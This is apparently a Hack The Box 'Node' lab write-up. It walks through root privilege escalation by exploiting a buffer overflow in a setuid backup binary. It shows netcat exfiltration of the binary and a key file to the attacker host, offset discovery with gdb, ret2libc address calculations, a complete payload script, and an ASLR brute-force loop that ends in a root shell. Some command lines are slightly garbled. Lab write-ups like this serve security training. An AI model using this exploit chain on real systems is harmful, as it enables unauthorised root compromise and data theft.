Keys


tom@node:~$ nc 10.10.14.nc 10.10.14.5 2222 < /usr/local/bin/backup
 
┌──(kali㉿kali)-[~/archive/htb/labs/node]
└─$ nnc 2222 > backup              
listening on [any] 2222 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.58] 48428

I first transported the binary to Kali

I tried to reproduce the segmentation fault error

┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ ltrace ./backup -q "" $(python2 -c 'print("A"*2000)')
__libc_start_main(0x80489fd, 4, 0xff9ee7d4, 0x80492c0 <unfinished ...>
geteuid()                                                                           = 1000
setuid(1000)                                                                        = 0
strcmp("-q", "-q")                                                                  = 0
strncpy(0xff9ee678, "", 100)                                                        = 0xff9ee678
strcpy(0xff9ee661, "/")                                                             = 0xff9ee661
strcpy(0xff9ee66d, "/")                                                             = 0xff9ee66d
strcpy(0xff9ee5f7, "/e")                                                            = 0xff9ee5f7
strcat("/e", "tc")                                                                  = "/etc"
strcat("/etc", "/m")                                                                = "/etc/m"
strcat("/etc/m", "yp")                                                              = "/etc/myp"
strcat("/etc/myp", "la")                                                            = "/etc/mypla"
strcat("/etc/mypla", "ce")                                                          = "/etc/myplace"
strcat("/etc/myplace", "/k")                                                        = "/etc/myplace/k"
strcat("/etc/myplace/k", "ey")                                                      = "/etc/myplace/key"
strcat("/etc/myplace/key", "s")                                                     = "/etc/myplace/keys"
fopen("/etc/myplace/keys", "r")                                                     = 0
exit(1 <no return ...>
+++ exited (status 1) +++

It wouldn’t work because the binary requires the /etc/myplace/keys file

tom@node:/dev/shm$ cat /etc/myplace/keys
 
a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
 

This is the key.

tom@node:/dev/shm$ nc 10.10.14.5 2222 nc 10.10.14.5 2222 < /etc/myplace/keys
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ nnc 2222 > keys                            
listening on [any] 2222 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.58] 48450
 
┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ sudo mkdir -p /etc/myplace ; sudo mv ./keys /etc/myplace

I will copy over the file to the respective location on Kali, so the binary would function

┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ ./backup -q "" $(python2 -c 'print("A"*2000)')       
zsh: segmentation fault 

Now, I got the segmentation fault error

Security


┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ gdb-peda -q ./backup          
Reading symbols from ./backup...
(No debugging symbols found in ./backup)
gdb-peda$ start

I loaded and started the binary to gdb for debugging

Checking the security measure NX is enabled

ASLR


tom@node:/dev/shm$ cat /proc/sys/kernel/randomize_va_space
2

ASLR (Address Space Layout Randomization) is also enabled on the target system..

tom@node:/dev/shm$ ulimit -s unlimitedulimit -s unlimited
tom@node:/dev/shm$ cat /proc/sys/kernel/randomize_va_space  
2

Much expected, but I could not disable it

This means that the ESP and EIP will be randomized every time the program runs

There are a few ways around it.

i will go over it later

Control of EIP


┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ patterncreate -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

I will create a pattern of 1000 characters to locate the buffer overflow

gdb-peda$ r q "" Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

This is the input command that I place. Notice there is no -q flag, because gdb cannot process the - sign The program ran just fine without it

The program crashed with segmentation fault The EIP is pointing to the memory location of 0x31724130

┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ patternoffset -q 0x31724130
[*] Exact match at offset 512

I got a match at 512. This means that I would have to supply a 512 byte length of buffer I will confirm it

┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ patterncreate -l 512       
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar

Creating a pattern of 512 characters. I will append 4 of B’s at the end of it

Executing

The program crashed and the EIP points to 0x42424242, which is BBBB in hexadecimal I have the control of EIP

Payload Space


Now that I have the control of EIP, I can check how much of space that I can have for a potential shell code

┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ python2 -c 'print("C"*500)'    
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

I can do that by appending arbitrary number of C’s I will start with 500

It shows that the C was repeated 200 times

Bad Characters


┌──(kali㉿kali)-[~/…/htb/labs/node/bufferoverflow]
└─$ badchars
\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Generating the entire 256 possible hexadecimal values

gdb-peda$ r q "" $(python2 -c 'print("A"*512 + "BBBB" + "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")')

Input

  • 512 of A’s for buffer
  • 4 of B’s for the EIP control
  • The remaining is the entire hexadecimal characters

I had a LOT of trials and errors due to the fact that ASCII and HEX characters cannot be supplied together. I switch to Python wrapped in Bash command substitution. In this way, Python will take care of interpreting the types for me

Executing…

The program crashed as expected. The ESP is point to the memory location at 0xffffba70 0x4030201 is the value stored at the memory location at 0xffffba70 0x4030201 is a little-endian representation of the bytes "\x01\x02\x03\x04" in hexadecimal

gdb-peda$ x/256xb $esp
0xffffba70:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
0xffffba78:	0x00	0xd5	0x04	0x08	0x1b	0x8a	0x04	0x08
0xffffba80:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffba88:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffba90:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffba98:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbaa0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbaa8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbab0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbab8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbac0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbac8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbad0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbad8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbae0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbae8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbaf0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbaf8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb00:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb08:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb10:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb18:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb20:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb28:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb30:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb38:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb40:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb48:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb50:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb58:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb60:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffbb68:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

Heading over to the memory location that the ESP points to; ffffba70 I expected those 256 hex characters to be here, but they are NOT

gdb-peda$ x/10000xb $esp
0xffffba70:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
0xffffba78:	0x00	0xd5	0x04	0x08	0x1b	0x8a	0x04	0x08
0xffffba80:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
 
[...REDACTED...]
 
0xffffd018:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
0xffffd020:	0x00	0x0b	0x0c	0x0d	0x0e	0x0f	0x10	0x11
0xffffd028:	0x12	0x13	0x14	0x15	0x16	0x17	0x18	0x19
0xffffd030:	0x1a	0x1b	0x1c	0x1d	0x1e	0x1f	0x00	0x21
0xffffd038:	0x22	0x23	0x24	0x25	0x26	0x27	0x28	0x29
0xffffd040:	0x2a	0x2b	0x2c	0x2d	0x2e	0x2f	0x30	0x31
0xffffd048:	0x32	0x33	0x34	0x35	0x36	0x37	0x38	0x39
0xffffd050:	0x3a	0x3b	0x3c	0x3d	0x3e	0x3f	0x40	0x41
0xffffd058:	0x42	0x43	0x44	0x45	0x46	0x47	0x48	0x49
0xffffd060:	0x4a	0x4b	0x4c	0x4d	0x4e	0x4f	0x50	0x51
0xffffd068:	0x52	0x53	0x54	0x55	0x56	0x57	0x58	0x59
0xffffd070:	0x5a	0x5b	0x5c	0x5d	0x5e	0x5f	0x60	0x61
0xffffd078:	0x62	0x63	0x64	0x65	0x66	0x67	0x68	0x69
0xffffd080:	0x6a	0x6b	0x6c	0x6d	0x6e	0x6f	0x70	0x71
0xffffd088:	0x72	0x73	0x74	0x75	0x76	0x77	0x78	0x79
0xffffd090:	0x7a	0x7b	0x7c	0x7d	0x7e	0x7f	0xc2	0x80
0xffffd098:	0xc2	0x81	0xc2	0x82	0xc2	0x83	0xc2	0x84
0xffffd0a0:	0xc2	0x85	0xc2	0x86	0xc2	0x87	0xc2	0x88
0xffffd0a8:	0xc2	0x89	0xc2	0x8a	0xc2	0x8b	0xc2	0x8c
0xffffd0b0:	0xc2	0x8d	0xc2	0x8e	0xc2	0x8f	0xc2	0x90
0xffffd0b8:	0xc2	0x91	0xc2	0x92	0xc2	0x93	0xc2	0x94
0xffffd0c0:	0xc2	0x95	0xc2	0x96	0xc2	0x97	0xc2	0x98
0xffffd0c8:	0xc2	0x99	0xc2	0x9a	0xc2	0x9b	0xc2	0x9c
0xffffd0d0:	0xc2	0x9d	0xc2	0x9e	0xc2	0x9f	0xc2	0xa0
0xffffd0d8:	0xc2	0xa1	0xc2	0xa2	0xc2	0xa3	0xc2	0xa4
0xffffd0e0:	0xc2	0xa5	0xc2	0xa6	0xc2	0xa7	0xc2	0xa8
0xffffd0e8:	0xc2	0xa9	0xc2	0xaa	0xc2	0xab	0xc2	0xac
0xffffd0f0:	0xc2	0xad	0xc2	0xae	0xc2	0xaf	0xc2	0xb0
0xffffd0f8:	0xc2	0xb1	0xc2	0xb2	0xc2	0xb3	0xc2	0xb4
0xffffd100:	0xc2	0xb5	0xc2	0xb6	0xc2	0xb7	0xc2	0xb8
0xffffd108:	0xc2	0xb9	0xc2	0xba	0xc2	0xbb	0xc2	0xbc
0xffffd110:	0xc2	0xbd	0xc2	0xbe	0xc2	0xbf	0xc3	0x80
0xffffd118:	0xc3	0x81	0xc3	0x82	0xc3	0x83	0xc3	0x84
0xffffd120:	0xc3	0x85	0xc3	0x86	0xc3	0x87	0xc3	0x88
0xffffd128:	0xc3	0x89	0xc3	0x8a	0xc3	0x8b	0xc3	0x8c
0xffffd130:	0xc3	0x8d	0xc3	0x8e	0xc3	0x8f	0xc3	0x90
0xffffd138:	0xc3	0x91	0xc3	0x92	0xc3	0x93	0xc3	0x94
0xffffd140:	0xc3	0x95	0xc3	0x96	0xc3	0x97	0xc3	0x98
0xffffd148:	0xc3	0x99	0xc3	0x9a	0xc3	0x9b	0xc3	0x9c
0xffffd150:	0xc3	0x9d	0xc3	0x9e	0xc3	0x9f	0xc3	0xa0
0xffffd158:	0xc3	0xa1	0xc3	0xa2	0xc3	0xa3	0xc3	0xa4
0xffffd160:	0xc3	0xa5	0xc3	0xa6	0xc3	0xa7	0xc3	0xa8
0xffffd168:	0xc3	0xa9	0xc3	0xaa	0xc3	0xab	0xc3	0xac
0xffffd170:	0xc3	0xad	0xc3	0xae	0xc3	0xaf	0xc3	0xb0
0xffffd178:	0xc3	0xb1	0xc3	0xb2	0xc3	0xb3	0xc3	0xb4
0xffffd180:	0xc3	0xb5	0xc3	0xb6	0xc3	0xb7	0xc3	0xb8
0xffffd188:	0xc3	0xb9	0xc3	0xba	0xc3	0xbb	0xc3	0xbc
0xffffd190:	0xc3	0xbd	0xc3	0xbe	0xc3	0xbf	0x00	0x4c

Those hex characters are stored at 0xffffd018, which is really far from where the ESP initially points to.

Not only that.

The thing starts to get really strange at 0xffffd098 with a new pattern forming. There are random 0xc2 and 0xc3 in-between.

At this point, I would assume that injecting a shellcode is out of option since I can’t even get hex characters in

All these might be due to my lack of understanding or maybe the enabled NX is responsible

Return to libc Attack:


The Return to libc attack is a method of exploiting a buffer overflow vulnerability in which the attacker does not inject their own code, but instead redirects the execution flow to existing code located in the program’s memory. This is done by overwriting the return address in the call stack with the address of a function in the C library, such as system(), exit(), or /bin/sh.

The system() function is used to execute shell commands while the exit() function is used to terminate the process. By redirecting the execution flow to system() and passing the address of /bin/sh as an argument, the attacker can execute arbitrary shell commands with the privileges of the compromised program.

One of the key benefits of this technique is that it can be used to bypass security measures that are designed to prevent the execution of injected code, such as data execution prevention (DEP) and address space layout randomization (ASLR)

Base


tom@node:/dev/shm$ for i in {1..20}; do ldd /usr/local/bin/backup | grep libc; done
	libc.so.6 => /lib32/libc.so.6 (0xf75b2000)
	libc.so.6 => /lib32/libc.so.6 (0xf7600000)
	libc.so.6 => /lib32/libc.so.6 (0xf75e2000)
	libc.so.6 => /lib32/libc.so.6 (0xf75aa000)
	libc.so.6 => /lib32/libc.so.6 (0xf7535000)
	libc.so.6 => /lib32/libc.so.6 (0xf75a7000)
	libc.so.6 => /lib32/libc.so.6 (0xf75fd000)
	libc.so.6 => /lib32/libc.so.6 (0xf7530000)
	libc.so.6 => /lib32/libc.so.6 (0xf757f000)
	libc.so.6 => /lib32/libc.so.6 (0xf7539000)
	libc.so.6 => /lib32/libc.so.6 (0xf751d000)
	libc.so.6 => /lib32/libc.so.6 (0xf7552000)
	libc.so.6 => /lib32/libc.so.6 (0xf754c000)
	libc.so.6 => /lib32/libc.so.6 (0xf7559000)
	libc.so.6 => /lib32/libc.so.6 (0xf75c3000)
	libc.so.6 => /lib32/libc.so.6 (0xf7542000)
	libc.so.6 => /lib32/libc.so.6 (0xf75b6000)
	libc.so.6 => /lib32/libc.so.6 (0xf75a3000)
	libc.so.6 => /lib32/libc.so.6 (0xf752e000)
	libc.so.6 => /lib32/libc.so.6 (0xf755f000)

By executing the binary with the ldd command prepended, I can see the memory address used by the libc I can loop the whole operation to get the idea of how dynamic of a change ASLR influences between executions of the binary

They are all different just by 3 digits in the middle.

I can just pick one and use it as the base, hoping that it would eventually land on that address during the brute-force 0xf7535000 is going to be the base address

Oh it also reveals the location of the libc library used In this case, the library is located at /lib32/libc.so.6

System


tom@node:/dev/shm$ readelf -s /lib32/libc.so.6 | grep -i 'system@@'
   627: 0003a940    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003a940    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

The offset of system@@GLIBC_2.0 is 0003a940

Exit


tom@node:/dev/shm$ readelf -s /lib32/libc.so.6 | grep -i 'exit@@'
   112: 0002eba0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e7b0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   558: 000af578    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00113840    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eb80    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002e9d0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1506: 000f19a0    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  1849: 000af578    24 FUNC    WEAK   DEFAULT   13 _Exit@@GLIBC_2.1.1
  2263: 0002e7d0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f2db0     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

The offset of exit@@GLIBC_2.0 is 0002e7b0

/bin/sh


tom@node:/dev/shm$ strings -atx /lib32/libc.so.6 | grep -i /bin/sh
 15900b /bin/sh

The offset of the /bin/sh string is 15900b

Calculating the addresses


The formula is

  • system address = base address + system offset
  • exit address =base address + exit offset
  • /bin/sh address =base address + /bin/sh offset

It can be done inside gdb

gdb-peda$ p 0xf7535000 + 0x0003a940
$1 = 0xf756f940    ## system address
gdb-peda$ p 0xf7535000 + 0x0002e7b0
$2 = 0xf75637b0    ## exit address
gdb-peda$ p 0xf7535000 + 0x15900b
$3 = 0xf768e00b    ## /bin/sh address

Payload


Payload structure is Buffer + system address + exit address + /bin/sh address in the little Endian format

$(python -c 'print("A"*512 + "\x40\xf9\x56\xf7" + "\xb0\x37\x56\xf7" + "\x0b\xe0\x68\xf7")')

So this would be the final payload


import struct
 
def conv(x):
    return struct.pack("<I", x)
 
system = conv(0xf756f940)
exit = conv(0xf75637b0)
binsh = conv(0xf768e00b)
 
rop = 'A' * 512
rop += system
rop += exit
rop += binsh
 
print rop

or I can just script it to calculate and print out the whole payload

But I would have to brute force it since there is ASLR enabled, randomizing the base address.

Brute Force


I can loop it

tom@node:/dev/shm$ for i in {1..500}; do /usr/local/bin/backup q "" $(python -c 'print("A"*512 + "\x40\xf9\x56\xf7" + "\xb0\x37\x56\xf7" + "\x0b\xe0\x68\xf7")'); done

It took awhile but it eventually landed on the base address that I set up

# whoami
whoami
root
# hostname
hostname
node
# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:1b:9d brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.58/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:feb9:1b9d/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise